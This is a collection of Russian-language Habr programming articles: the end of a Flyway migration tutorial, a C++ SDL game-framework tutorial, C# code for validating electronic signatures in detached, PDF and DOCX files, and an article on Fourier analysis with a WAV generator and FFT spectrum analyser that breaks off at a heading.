После запуска приложения на чистой базе она будет инициализирована скриптом V1\_\_Base\_version.sql, кроме того, будет создана таблица schema\_version. В логе при этом можно наблюдать следующее:
```
2012-04-04 06:42:09,279 INFO [com.googlecode.flyway.core.metadatatable.MetaDataTable] --
2012-04-04 06:42:09,318 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
2012-04-04 06:42:09,320 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
2012-04-04 06:42:24,897 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
```
Если же приложение было запущено на базе, идентичной последней миграции, то никаких изменений в схеме не произойдёт, что будет отражено в логе приложения следующими строками:
```
2012-04-04 06:36:14,081 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
2012-04-04 06:36:14,085 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
```
В любом случае, при корректной интеграции Flyway база данных должна содержать приведённую выше таблицу schema\_version с единственной записью.
### Создание миграции
Создадим в папке db/migration файл с названием V2\_\_Test\_change.sql и со следующим содержимым:
```
create table test_table (
id bigint(20) not null,
primary key(id)
);
```
После запуска приложения обнаружим в логе следующие строки:
```
2012-04-04 06:51:02,708 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
2012-04-04 06:51:02,710 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
2012-04-04 06:51:03,137 INFO [com.googlecode.flyway.core.migration.DbMigrator] --
```
И убедимся, что таблица test\_table была успешно создана, а в таблице schema\_version появилась запись о применённой миграции:
### Откат миграции
Flyway, в отличие, например, от системы миграции в Rails, не поддерживает откат изменений. Авторы библиотеки мотивируют это тем, что после внесения деструктивных и необратимых изменений выполнить откат состояния базы так, чтобы все пропавшие или изменившиеся данные восстановились к прежнему состоянию, в общем случае невозможно. Вместо этого предлагается вполне разумный подход использования механизмов резервирования. Например перед применением очередной миграции можно делать выгрузку дампа или снимок базы (в зависимости от имеющегося в конкретной СУБД функционала резервирования). | https://habr.com/ru/post/141354/ | null | ru | null |
# Пишем игры на C++, Часть 1/3 — Написание мини-фреймворка
[Пишем игры на C++, Часть 2/3 — State-based программирование](http://habrahabr.ru/post/197280/)
[Пишем игры на C++, Часть 3/3 — Классика жанра](http://habrahabr.ru/post/197288/)
Здравствуй, Хабрахабр!
На хабре не очень много уроков по созданию игр, почему бы не поддержать отечественных девелоперов?
Представляю вам свои уроки, которые учат создавать игры на C++ с использованием SDL!
#### Что нужно знать
* Хотя бы начальные знания C++ (использовать будем Visual Studio)
* Терпение
#### О чем эта часть?
* Мы создадим каркас для всех игр, в качестве отрисовщика будем использовать SDL. Это библиотека для графики.
В следующих постах будет больше экшена, это лишь подготовка :)
#### Почему SDL?
Я выбрал эту библиотеку как наиболее легкую и быструю в освоении. Действительно, от первой прочитанной статьи по OpenGL или DirectX до стотысячного переиздания змейки пройдет немало времени.
Теперь можно стартовать.
#### 1.1. Начало начал
Скачиваем SDL с официального сайта.
Создаем проект Win32 в Visual Studio, подключаем lib'ы и includ'ы SDL (если вы не умеете этого делать, то гугл вам в помощь!)
Также необходимо использовать многобайтную кодировку символов. Для этого идем в Проект->Свойства->Свойства конфигурации->Набор символов->Использовать многобайтную кодировку.
Создаем файл main.cpp
```
#include
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
return 0;
}
```
Пока что он ничего не делает.
Царь и бог каркаса — класс Game
Game.h
```
#ifndef _GAME_H_
#define _GAME_H_
class Game
{
private:
bool run;
public:
Game();
int Execute();
void Exit();
};
#endif
```
Game.cpp
```
#include "Game.h"
Game::Game()
{
run = true;
}
int Game::Execute()
{
while(run);
return 0;
}
void Game::Exit()
{
run = false;
}
```
Создаем файл Project.h, он нам очень пригодится в будущем
```
#ifndef _PROJECT_H_
#define _PROJECT_H_
#include
#include "Game.h"
#endif
```
Изменяем main.cpp
```
#include "Project.h"
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
Game game;
return game.Execute();
}
```
Уже чуточку получше, но все равно как-то не густо.
#### 1.2. Графика
Создаем аж 2 класса — Graphics для отрисовки графики и Image для отрисовки картинок
Graphics.h
```
#ifndef _GRAPHICS_H_
#define _GRAPHICS_H_
#include "Project.h"
#include "Image.h"
class Image;
class Graphics
{
private:
SDL_Surface* Screen;
public:
Graphics(int width, int height);
Image* NewImage(char* file);
Image* NewImage(char* file, int r, int g, int b);
bool DrawImage(Image* img, int x, int y);
bool DrawImage(Image* img, int x, int y, int startX, int startY, int endX, int endY);
void Flip();
};
#endif
```
Image.h
```
#ifndef _IMAGE_H
#define _IMAGE_H
#include "Project.h"
class Image
{
private:
SDL_Surface* surf;
public:
friend class Graphics;
int GetWidth();
int GetHeight();
};
#endif
```
Изменяем Project.h
```
#ifndef _PROJECT_H_
#define _PROJECT_H_
#pragma comment(lib,"SDL.lib")
#include
#include
#include "Game.h"
#include "Graphics.h"
#include "Image.h"
#endif
```
SDL\_Surface — класс из SDL для хранения информации об картинке
Рассмотрим Graphics
NewImage — есть 2 варианта загрузки картинки. Первый вариант просто грузит картинку, а второй после этого еще и дает прозрачность картинке. Если у нас красный фон в картинке, то вводим r=255,g=0,b=0
DrawImage — тоже 2 варианта отрисовки картинки. Первый рисует всю картинку целиком, второй только часть картинки. startX, startY — координаты начала части картинки. endX, endY — конечные координаты части картинки. Этот метод рисования применяется, если используются атласы картинок. Вот пример атласа:
*(изображение взято из веб-ресурса interesnoe.info)*
Рассмотрим Image
Он просто держит свой сурфейс и дает право доступа к своим закрытым членам классу Graphics, а он изменяет сурфейс.
По сути, это обертка над SDL\_Surface. Также он дает размер картинки
Graphics.cpp
```
#include "Graphics.h"
Graphics::Graphics(int width, int height)
{
SDL_Init(SDL_INIT_EVERYTHING);
Screen = SDL_SetVideoMode(width,height,32,SDL_HWSURFACE|SDL_DOUBLEBUF);
}
Image* Graphics::NewImage(char* file)
{
Image* image = new Image();
image->surf = SDL_DisplayFormat(SDL_LoadBMP(file));
return image;
}
Image* Graphics::NewImage(char* file, int r, int g, int b)
{
Image* image = new Image();
image->surf = SDL_DisplayFormat(SDL_LoadBMP(file));
SDL_SetColorKey(image->surf, SDL_SRCCOLORKEY | SDL_RLEACCEL,
SDL_MapRGB(image->surf->format, r, g, b));
return image;
}
bool Graphics::DrawImage(Image* img, int x, int y)
{
if(Screen == NULL || img->surf == NULL)
return false;
SDL_Rect Area;
Area.x = x;
Area.y = y;
SDL_BlitSurface(img->surf, NULL, Screen, &Area);
return true;
}
bool Graphics::DrawImage(Image* img, int x, int y, int startX, int startY, int endX, int endY)
{
if(Screen == NULL || img->surf == NULL)
return false;
SDL_Rect Area;
Area.x = x;
Area.y = y;
SDL_Rect SrcArea;
SrcArea.x = startX;
SrcArea.y = startY;
SrcArea.w = endX;
SrcArea.h = endY;
SDL_BlitSurface(img->surf, &SrcArea, Screen, &Area);
return true;
}
void Graphics::Flip()
{
SDL_Flip(Screen);
SDL_FillRect(Screen,NULL, 0x000000);
}
```
В конструкторе инициализируется SDL и создается экран.
Функция Flip должна вызываться каждый раз после отрисовки картинок, она представляет получившееся на экран и чистит экран в черный цвет для дальнешней отрисовки.
Остальные функции малоинтересны, рекомендую разобраться в них самому
Image.cpp
```
#include "Image.h"
int Image::GetWidth()
{
return surf->w;
}
int Image::GetHeight()
{
return surf->h;
}
```
Нет, вы все правильно делаете, этот файл и должен быть таким :)
Надо изменить Game.h, Game.cpp и main.cpp
Game.h
```
#ifndef _GAME_H_
#define _GAME_H_
#include "Project.h"
class Graphics;
class Game
{
private:
bool run;
Graphics* graphics;
public:
Game();
int Execute(int width, int height);
void Exit();
};
#endif
```
Тут мы добавляем указатель на Graphics и в Execute добавляем размер экрана
Game.cpp
```
#include "Game.h"
Game::Game()
{
run = true;
}
int Game::Execute(int width, int height)
{
graphics = new Graphics(width,height);
while(run);
SDL_Quit();
return 0;
}
void Game::Exit()
{
run = false;
}
```
Ничего особенного, разве что не пропустите функцию SDL\_Quit для очистки SDL
main.cpp
```
#include "Project.h"
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
Game game;
return game.Execute(500,350);
}
```
Тут мы создаем экран размером 500 на 350.
#### 1.3. Ввод
Надо поработать со вводом с клавиатуры
Создаем Input.h
```
#ifndef _INPUT_H_
#define _INPUT_H_
#include "Project.h"
class Input
{
private:
SDL_Event evt;
public:
void Update();
bool IsMouseButtonDown(byte key);
bool IsMouseButtonUp(byte key);
POINT GetButtonDownCoords();
bool IsKeyDown(byte key);
bool IsKeyUp(byte key);
byte GetPressedKey();
bool IsExit();
};
#endif
```
SDL\_Event — класс какого-нибудь события, его мы держим в Input'е для того, чтобы не создавать объект этого класса каждый цикл
Ниже расположены методы, не представляющие особого интереса. Примечание: методы с окончанием Down вызываются, когда клавиша была нажата, а с окончанием Up — когда опущена.
Input.cpp
```
#include "Input.h"
void Input::Update()
{
while(SDL_PollEvent(&evt));
}
bool Input::IsMouseButtonDown(byte key)
{
if(evt.type == SDL_MOUSEBUTTONDOWN)
if(evt.button.button == key)
return true;
return false;
}
bool Input::IsMouseButtonUp(byte key)
{
if(evt.type == SDL_MOUSEBUTTONUP)
if(evt.button.button == key)
return true;
return false;
}
POINT Input::GetButtonDownCoords()
{
POINT point;
point.x = evt.button.x;
point.y = evt.button.y;
return point;
}
bool Input::IsKeyDown(byte key)
{
return (evt.type == SDL_KEYDOWN && evt.key.keysym.sym == key);
}
bool Input::IsKeyUp(byte key)
{
return (evt.type == SDL_KEYUP && evt.key.keysym.sym == key);
}
byte Input::GetPressedKey()
{
return evt.key.keysym.sym;
}
bool Input::IsExit()
{
return (evt.type == SDL_QUIT);
}
```
Здесь мы обрабатываем наш объект событий в функции Update, а остальные функции просто проверяют тип события и его значения.
Изменяем теперь Game.h и Game.cpp
```
#ifndef _GAME_H_
#define _GAME_H_
#include "Project.h"
#include "Graphics.h"
class Graphics;
#include "Input.h"
class Input;
class Game
{
private:
bool run;
Graphics* graphics;
Input* input;
public:
Game();
int Execute(int width, int height);
Graphics* GetGraphics();
Input* GetInput();
void Exit();
};
#endif
```
Как видно, мы добавили указатель на Input и создали методы-возвращатели Graphics и Input
Game.cpp
```
#include "Game.h"
Game::Game()
{
run = true;
}
int Game::Execute(int width, int height)
{
graphics = new Graphics(width,height);
input = new Input();
while(run)
{
input->Update();
}
delete graphics;
delete input;
SDL_Quit();
return 0;
}
Graphics* Game::GetGraphics()
{
return graphics;
}
Input* Game::GetInput()
{
return input;
}
void Game::Exit()
{
run = false;
}
```
#### 1.4. Итоги
Это был первый урок. Если вы дошли до этого места, я вас поздравляю! У вас есть воля, присущая программисту :) Смотрите ссылки в начале статьи на последующие уроки для того, чтобы узнать еще много нового!
По всем вопросам обращайтесь в ЛС, а если вам не повезло быть зарегистрированным на хабре, пишите на мейл izarizar@mail.ru | https://habr.com/ru/post/197278/ | null | ru | null |
# Валидация электронных подписей на C# с использованием КРИПТО ПРО
Продолжая разговор на тему электронных подписей (далее ЭП), надо сказать о проверке. В предыдущей стать я разбирал более сложную часть задачи — создание подписи. В этой статье всё несколько проще. Большая часть кода это адаптация примеров из КРИПТО ПРО .NET SDK. Проверять будем в первую очередь подписи по ГОСТ Р 34.10-2001 и ГОСТ Р 34.10-2012, для этого нам и нужен КРИПТО ПРО.
Задача для нас разбивается на 3 части: отделённая подпись, подпись в PDF и подпись в MS Word.
Проверка отделённой подписи:
```
//dataFileRawBytes - массив байт подписанного файла
ContentInfo contentInfo = new ContentInfo(dataFileRawBytes);
SignedCms signedCms = new SignedCms(contentInfo, true);
//signatureFileRawBytes - массив байт подписи
signedCms.Decode(signatureFileRawBytes);
if (signedCms.SignerInfos.Count == 0)
{
//обработка в случае отсутствия подписей
}
foreach (SignerInfo signerInfo in signedCms.SignerInfos)
{
//получаем дату подписания
DateTime? signDate =
(signerInfo.SignedAttributes
.Cast()
.FirstOrDefault(x => x.Oid.Value == "1.2.840.113549.1.9.5")
?.Values[0]
as Pkcs9SigningTime)?.SigningTime;
bool valid;
try
{
signerInfo.CheckSignature(true);
valid = true;
}
catch (CryptographicException exc)
{
valid = false;
}
//получаем сертификат для проверки. Пригодится при проверке сертификата
X509Certificate2 certificate = signerInfo.Certificate;
```
Комментарии все в коде, обращу только ваше внимание на получение сертификата, он нам понадобиться далее, т.к. сертификат мы будем проверять отдельно.
Ну и не забываем оборачивать всё в try-catch и прочие using. В примере я этого намеренно не делаю, что бы сократить объём
Валидация подписи в PDF. Тут нам понадобиться iTextSharp (актуальная версия на момент написания 5.5.13):
```
using (MemoryStream fileStream = new MemoryStream(dataFileRawBytes))
using (PdfReader pdfReader = new PdfReader(fileStream))
{
AcroFields acroFields = pdfReader.AcroFields;
//получаем названия контейнеров подписей
List signatureNames = acroFields.GetSignatureNames();
if (!signatureNames.Any())
{
//обработка отсутствия ЭП
}
foreach (string signatureName in signatureNames)
{
//далее следует магия получения подписи из контейнера
PdfDictionary singleSignature = acroFields.GetSignatureDictionary(signatureName);
PdfString asString1 = singleSignature.GetAsString(PdfName.CONTENTS);
byte[] signatureBytes = asString1.GetOriginalBytes();
RandomAccessFileOrArray safeFile = pdfReader.SafeFile;
PdfArray asArray = singleSignature.GetAsArray(PdfName.BYTERANGE);
using (
Stream stream =
new RASInputStream(
new RandomAccessSourceFactory().CreateRanged(
safeFile.CreateSourceView(),
asArray.AsLongArray())))
{
using (MemoryStream ms = new MemoryStream((int)stream.Length))
{
stream.CopyTo(ms);
byte[] data = ms.GetBuffer();
ContentInfo contentInfo = new ContentInfo(data);
SignedCms signedCms = new SignedCms(contentInfo, true);
signedCms.Decode(signatureBytes);
bool checkResult;
//получили подпись и проверяем её, без проверки сертификата
try
{
signedCms.CheckSignature(true);
checkResult = true;
}
catch (Exception)
{
checkResult = false;
}
foreach (SignerInfo signerInfo in signedCms.SignerInfos)
{
//получаем дату подписания
DateTime? signDate = (signerInfo.SignedAttributes
.Cast()
.FirstOrDefault(x =>
x.Oid.Value == "1.2.840.113549.1.9.5")
?.Values[0]
as Pkcs9SigningTime)?.SigningTime;
//получаем сертификат
X509Certificate2 certificate = signerInfo.Certificate;
}
}
}
}
}
```
Комментировать опять же особенно нечего. Разве что надо сказать о Oid «1.2.840.113549.1.9.5» — это Oid даты подписания.
И последний в нашем списке это docx, пожалуй самый простой вариант:
```
using (MemoryStream fileStream = new MemoryStream(dataFileRawBytes))
using (Package filePackage = Package.Open(fileStream))
{
PackageDigitalSignatureManager digitalSignatureManager =
new PackageDigitalSignatureManager(filePackage);
if (!digitalSignatureManager.IsSigned)
{
//обрабатываем ситуацию отсутствия подписей
}
foreach (PackageDigitalSignature signature in
digitalSignatureManager.Signatures)
{
DateTime? signDate = signature.SigningTime;
bool checkResult = signature.Verify() == VerifyResult.Success;
//обратите внимание на способ получения сертификата
X509Certificate2 certificate =
new X509Certificate2(signature.Signer);
}
}
```
Теперь будем разбирать сертификат и валидировать всю цепочку сертификатов. Поэтому сборка должна работать из под пользователя, у которого есть доступ в сеть.
И тут начинается ад, т.к. я не знаю как получить информацию о владельце сертификата через Oid, поэтому буду парсить строку. Смейтесь громче: цирк начинается.
А если серьёзно, то милости прошу в комменты тех, кто знает как сделать это через Oid-ы:
```
private static void FillElectronicSignature(X509Certificate2 certificate)
{
foreach (KeyValuePair item in ParseCertificatesSubject(certificate.Subject))
{
switch (item.Key)
{
case "C":
string certificatesCountryName =
item.Value;
break;
case "S":
string certificatesState =
item.Value;
break;
case "L":
string certificatesLocality =
item.Value;
break;
case "O":
string certificatesOrganizationName =
item.Value;
break;
case "OU":
string certificatesOrganizationalUnitName =
item.Value;
break;
case "CN":
string certificatesCommonName =
item.Value;
break;
case "E":
string certificatesEmail =
item.Value;
break;
case "STREET":
string certificatesStreet =
item.Value;
break;
//тут интересный момент, если Window русскоязычный, то КРИПТО ПРО вернёт ИНН, а если англоязычный, то INN
//именно тут начиналась не пойми что после deploy на тестовый стенд
//локально работает, на тестовом - нет
case "ИНН":
case "INN":
case "1.2.643.3.131.1.1":
string certificatesInn =
item.Value;
break;
//аналогично предыдущему
case "ОГРН":
case "OGRN":
case "1.2.643.100.1":
string certificatesOgrn =
item.Value;
break;
//аналогично предыдущему
case "СНИЛС":
case "SNILS":
case "1.2.643.100.3":
string certificatesSnils =
item.Value;
break;
case "SN":
string certificatesOwnerLastName =
item.Value;
break;
case "G":
string certificatesOwnerFirstName =
item.Value;
break;
//тут рекомендую добавить блок default и всё что не удалось определить ранее писать в лог
}
}
DateTime certificateNotBefore =
certificate.NotBefore;
DateTime certificateNotAfter =
certificate.NotAfter;
string certificatesSerialNumber =
certificate.SerialNumber;
if (!certificate.Verify())
{
//строим цепочку сертификатов
using (X509Chain x509Chain = new X509Chain())
{
x509Chain.Build(certificate);
//получаем все ошибки цепочки
X509ChainStatus[] statuses = x509Chain.ChainStatus;
//собираем все флаги ошибок в один int, так проще хранить
int certificatesErrorCode =
statuses.Aggregate(X509ChainStatusFlags.NoError,
(acc, chainStatus) => acc | chainStatus.Status, result => (int)result);
}
}
}
///
/// Разобрать строку с данными о владельце сертификата
///
private static Dictionary ParseCertificatesSubject(string subject)
{
Dictionary result = new Dictionary();
//количество двойных кавычек, для определения конца значения
int quotationMarksCount = 0;
//признак что сейчас обрабатывается "ключ или значение"
bool isKey = true;
//переменная для сбора ключа
string key = string.Empty;
//Переменная для сбора значения
string value = string.Empty;
for (int i = 0; i < subject.Length; i++)
{
char c = subject[i];
if (isKey && c == '=')
{
isKey = false;
continue;
}
if (isKey)
key += c;
else
{
if (c == '"')
quotationMarksCount++;
bool isItemEnd = (c == ',' && subject.Length >= i + 1 && subject[i + 1] == ' ');
bool isLastChar = subject.Length == i + 1;
if ((isItemEnd && quotationMarksCount % 2 == 0) || isLastChar)
{
if (isItemEnd)
i++;
if (isLastChar)
value += c;
isKey = true;
if (value.StartsWith("\"") && value.EndsWith("\""))
value = value.Substring(1, value.Length - 2);
value = value.Replace("\"\"", "\"");
result.Add(key, value);
key = string.Empty;
value = string.Empty;
quotationMarksCount = 0;
continue;
}
value += c;
}
}
return result;
}
```
Код максимально сокращён, для лучшего понимания сути.
В общем это всё, жду комментариев по получению Oid-ов из сертификата и любой аргументированной критики. | https://habr.com/ru/post/426645/ | null | ru | null |
# Гармонические колебания
На хабре было несколько статей по преобразованию Фурье и о всяких красивостях типа Цифровой Обработки Сигналов (ЦОС), но неискушённому пользователю совершенно не понятно, зачем всё это нужно и где, а главное как это применить.
**АЧХ шума.**
Лично мне после прочтения этих статей (например, [этой](http://habrahabr.ru/post/196374/) ) не стало понятно, что это и зачем оно нужно в реальной жизни, хотя было интересно и красиво.
Хочется не просто поглядеть красивые картинки, а так сказать, ощутить нутром, что и как работает. И я приведу конкретный пример с генерацией и обработкой звуковых файлов. Можно будет и послушать звук, и поглядеть его спектр, и понять, почему это так.
Статья не будет интересна тем, кто владеет теорией функций комплексной переменной, ЦОС и прочими страшными темами. Она скорее для любопытствующих, школьников, студентов и им сочувствующих :).
Сразу оговорюсь, я не математик, и многие вещи могу даже сказать неправильно (поправляйте личным сообщением), и данную статью пишу, опираясь на собственный опыт и собственное понимание текущих процессов. Если вы готовы, то поехали.
#### Пару слов о матчасти
Если мы вспомним школьный курс математики, то для построения графика синуса мы использовали круг. В общем-то так и получается, что вращательное движение можно превратить в синусоиду (как и любое гармоническое колебание). Самое лучшая иллюстрация этого процесса приведена в [википедии](http://ru.wikipedia.org/wiki/%D0%93%D0%B0%D1%80%D0%BC%D0%BE%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BA%D0%BE%D0%BB%D0%B5%D0%B1%D0%B0%D0%BD%D0%B8%D1%8F)
**Гармонические колебания**
Т.е. фактически график синуса получается из вращения вектора, который описывается формулой:
`f(x) = A sin (ωt + φ),`
где A — длина вектора (амплитуда колебаний), φ — начальный угол (фаза) вектора в нулевой момент времени, ω — угловая скорость вращения, которая равна:
ω=2 πf, где f — частота в Герцах.
Как мы видим, что зная частоту сигнала, амплитуду и угол, мы можем построить гармонический сигнал.
Магия начинается тогда, когда оказывается, что представление абсолютно любого сигнала можно представить в виде суммы (зачастую бесконечной) различных синусоид. Иначе говоря, в виде ряда Фурье.
Я приведу пример из английской [википедии](http://en.wikipedia.org/wiki/Fourier_series). Для примера возьмём пилообразный сигнал.
**Пилообразный сигнал**
Его сумма будет представлена следующей формулой:
Если мы будем по очерёдно суммировать, брать сначала n=1, затем n=2 и т.д., то увидим, как у нас гармонический синусоидальный сигнал постепенно превращается в пилу:
Наверное красивее всего это иллюстрирует одна программа, найденная мной на просторах сети. Выше уже говорилось, что график синуса является проекцией вращающегося вектора, а как же быть в случае более сложных сигналов? Это, как ни странно, проекция множества вращающихся векторов, а точнее их суммы, и выглядит это всё так:
**Вектора рисуют пилу.**
Вообще рекомендую сходить самим по [ссылке](http://bl.ocks.org/jinroh/7524988) и попробовать самим поиграться с параметрами, и посмотреть как меняется сигнал. ИМХО более наглядной игрушки для понимания я ещё не встречал.
Ещё следует заметить, что есть обратная процедура, позволяющая получить из данного сигнала частоту, амплитуду и начальную фазу (угол), которое называется Преобразование Фурье.
**Разложение в ряд Фурье некоторых известных периодических функций ([отсюда](http://ets.ifmo.ru/osipov/os1/2_1.htm))**
Я детально на нём останавливаться не буду, но покажу, как это можно применить по жизни. В списке литературы порекомендую то, где можно почитать подробнее о матчасти.
#### Переходим к практическим упражнениям!
Мне кажется, что каждый студент задаётся вопросом, сидя на лекции, например по матану: зачем мне весь этот бред? И как правило, не найдя ответа в обозримом будущем, к сожалению, теряет интерес к предмету. Поэтому я сразу покажу практическое применение данных знаний, а вы эти знания уже будете осваивать сами :).
Всё дальнейшее я буду реализовывать на сях. Делал всё, конечно, под Linux, но никакой специфики не использовал, по идее программа будет компилироваться и работать под другими платформами.
Для начала напишем программу для формирования звукового файла. Был взят wav-файл, как самый простой. Прочитать про его структуру можно [тут](http://audiocoding.ru/%D1%81%D1%82%D0%B0%D1%82%D1%8C%D0%B8/%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0-wav-%D1%84%D0%B0%D0%B9%D0%BB%D0%B0.html).
Если кратко, то структура wav-файла описывается так: заголовок, который описывает формат файла, и далее идёт (в нашем случае) массив 16-ти битных данных (остроконечник) длиной: частота\_дискретизации\*t секунд или 44100\*t штук.
Для формирования звукового файла был взят пример [здесь](http://karplus4arduino.wordpress.com/2011/10/08/making-wav-files-from-c-programs/). Я его немного модифицировал, исправил ошибки, и окончательная версия с моими правками теперь лежит на гитхабе тут
[github.com/dlinyj/generate\_wav](https://github.com/dlinyj/generate_wav)
Сгенерируем двухсекундный звуковой файл с чистым синусом частотой 100 Гц. Для этого модифицируем программу таким образом:
```
#define S_RATE (44100) //частота дискретизации
#define BUF_SIZE (S_RATE*10) /* 2 second buffer */
….
int main(int argc, char * argv[])
{
...
float amplitude = 32000; //берём максимальную возможную амплитуду
float freq_Hz = 100; //частота сигнала
/* fill buffer with a sine wave */
for (i=0; i
```
Обращаю внимание, что формула чистого синуса соответствует той, о которой мы говорили выше. Амплитуда 32000 (можно было взять 32767) соответствует значению, которое может принимать 16-ти битное число (от минус 32767 до плюс 32767).
В результате получаем следующий [файл](http://yadi.sk/d/QEJTYmbeMRmmJ) (можно его даже послушать любой звуковоспроизводящей программой). Откроем данный файл audacity и увидим, что график сигнала в действительности соответствует чистому синусу:
**Чистый ламповый синус**
Поглядим спектр этого синуса (Анализ->Построить график спектра)
**График спектра**
Виден чистый пик на 100 Гц (логарифмический масштаб). Что такое спектр? Это амплитудно-частотная характеристика. Существует ещё фазочастотная характеристика. Если помните, выше я говорил, что для построения сигнала надо знать его частоту, амплитуду и фазу? Так вот, можно из сигнала получить эти параметры. В данном случае у нас график соответствий частот амплитуде, при чём амплитуда у нас не в реальных единицах, а в Децибелах.
Величина, выраженная в [децибелах](http://ru.wikipedia.org/wiki/%D0%94%D0%B5%D1%86%D0%B8%D0%B1%D0%B5%D0%BB), численно равна десятичному логарифму безразмерного отношения физической величины к одноимённой физической величине, принимаемой за исходную, умноженному на десять.
В данном случае просто логарифм амплитуды, умноженный на 10. Логарифмический масштаб удобно использовать при работе с сигналами.
Мне, честно говоря, не очень нравится анализатор спектра в этой программе, поэтому я решил написать свой ~~с блекджеком и шлюхами~~, тем более, что это несложно.
#### Пишем свой анализатор спектра
*Здесь может быть скучно, поэтому можете перейти сразу к следующей главе.*
Поскольку я прекрасно понимаю, что тут портянки кода размещать нет смысла, те, кому реально интересно — сами найдут и поковыряют, а тем, кому это неинтересно, будут скучать, то я остановлюсь только на основных моментах написания анализатора спектра wav-файла.
Во-первых, нам wav-файл необходимо читать. Там необходимо прочитать заголовок, чтобы понять, что содержит данный файл. Я не стал реализовывать море вариантов чтения данного файла, а остановился только на одном. Пример чтения файла был взят [отсюда](http://yannesposito.com/Scratch/en/blog/2010-10-14-Fun-with-wav/) практически без изменений, ИМХО — отличный пример. Там же есть реализация на питоне.
Следующее, что нам нужно, это быстрое преобразование Фурье. Это то самое преобразование, которое позволяет получить из конечного набора точек вектор**а** исходных сигналов. Пусть вас пока это не пугает, дальше я объясню.
Опять же, велосипед изобретать не стал, а взял готовый пример [отсюда](http://grinkov.blogspot.ru/2011/11/blog-post_29.html).
Я понимаю, что чтобы объяснить, как работает программа, надо объяснить, что такое быстрое преобразование Фурье, а это как минимум ещё на одну некислую статью.
Для начала алокируем массивы:
```
c = calloc(size_array*2, sizeof(float)); // массив поворотных множителей
in = calloc(size_array*2, sizeof(float)); //входный массив
out = calloc(size_array*2, sizeof(float)); //выходной массив
```
Скажу лишь, что в программе мы читаем данные в массив длиной size\_array (которое берём из заголовка wav-файла).
```
while( fread(&value,sizeof(value),1,wav) ) {
in[j]=(float)value;
j+=2;
if (j > 2*size_array) break;
}
```
Массив для быстрого преобразования Фурье должен представлять собой последовательность {re[0], im[0], re[1], im[1],… re[fft\_size-1], im[fft\_size-1]}, где fft\_size=1<< p — число точек БПФ. Объясняю нормальным языком:
это массив комплексных чисел. Я даже боюсь представить, где используется комплексное преобразование Фурье, но в нашем случае мнимая часть у нас равна нулю, а действительная равна значению каждой точке масива.
Ещё одна особенность именно быстрого преобразования Фурье, что оно обсчитывает массивы, кратные только степени двойки. В результате мы должны вычислить минимальную степень двойки:
```
int p2=(int)(log2(header.bytes_in_data/header.bytes_by_capture));
```
Логарифм от количество байт в данных, делённых на количество байт в одной точке.
После этого считаем поворотные множители:
```
fft_make(p2,c);// функция расчёта поворотных множителей для БПФ (первый параметр степень двойки, второй алокированный массив поворотных множителей).
```
И скармливаем наш считанный массив в преобразователь Фурье:
```
fft_calc(p2, c, in, out, 1); //(единица означает, что мы получаем нормализованный массив).
```
На выходе мы получаем комплексные числа вида {re[0], im[0], re[1], im[1],… re[fft\_size-1], im[fft\_size-1]}. Для тех, кто не знает, что такое комплексное число, поясню. Я не зря начал эту статью с кучи вращающихся векторов и кучи гифок. Так вот, вектор на комплесной плоскости определяется действительной координатой a1 и мнимой координатой a2. Или длиной (это у нас амплитуда Am) и углом Пси (фаза).
**Вектор на комплексной плоскости**
Обратите внимание, что size\_array=2^p2. Первая точка массива соответствует частоте 0 Гц (постоянная), последняя точка соответствует частоте дискретизации, а именно 44100 Гц. В результате мы должны рассчитать частоту, соответствующей каждой точке, которые будут отличаться на частоту дельта:
```
double delta=((float)header.frequency)/(float)size_array; //частота дискретизации на размер массива.
```
Алокируем массив амплитуд:
```
double * ampl;
ampl = calloc(size_array*2, sizeof(double));
```
И смотрим на картинку: амплитуда — это длина вектора. А у нас есть его проекции на действительную и мнимую ось. В результате у нас будет прямоугольный треугольник, и тут мы вспоминаем теорему Пифагора, и считаем длину каждого вектора, и сразу пишем её в текстовый файл:
```
for(i=0;i<(size_array);i+=2) {
fprintf(logfile,"%.6f %f\n",cur_freq, (sqrt(out[i]*out[i]+out[i+1]*out[i+1])));
cur_freq+=delta;
}
```
В результате получаем файл примерно такого вида:
```
…
11.439514 10.943008
11.607742 56.649738
11.775970 15.652428
11.944199 21.872342
12.112427 30.635371
12.280655 30.329171
12.448883 11.932371
12.617111 20.777617
...
```
Окончательная версия программы обитает на гитхабе вот тут:
[github.com/dlinyj/fft](https://github.com/dlinyj/fft)
#### Пробуем!
Теперь скармливаем получившейся программе тот звуковой файл синуса
```
./fft_an ../generate_wav/sin\ 100\ Hz.wav
format: 16 bits, PCM uncompressed, channel 1, freq 44100, 88200 bytes per sec, 2 bytes by capture, 2 bits per sample, 882000 bytes in data
chunk=441000
log2=18
size array=262144
wav format
Max Freq = 99.928 , amp =7216.136
```
И получаем текстовый файл АЧХ. Строим его график с помощью гнуплота
Скрипт для построения:
```
#! /usr/bin/gnuplot -persist
set terminal postscript eps enhanced color solid
set output "result.ps"
#set terminal png size 800, 600
#set output "result.png"
set grid xtics ytics
set log xy
set xlabel "Freq, Hz"
set ylabel "Amp, dB"
set xrange [1:22050]
#set yrange [0.00001:100000]
plot "test.txt" using 1:2 title "AFC" with lines linestyle 1
```
Обратите внимание на ограничение в скрипте на количество точек по X: set xrange [1:22050]. Частота дискретизации у нас 44100, а если вспомнить теорему Котельникова, то частота сигнала не может быть выше половины частоты дискретизации, следовательно сигнал выше 22050 Гц нас не интересует. Почему так, советую прочитать в специальной литературе.
Итак (барабанная дробь), запускаем скрипт и лицезреем:
**Спектр нашего сигнала**
Обратите внимание на резкий пик на частоте 100 Гц. Не забывайте, что по осям — логарифмический масштаб! Шерсть справа, как я думаю, ошибки преобразования Фурье (тут на память приходят окна).
#### А давайте побалуем?
А давайте! Давайте поглядим спектры других сигналов!
##### Вокруг шум…
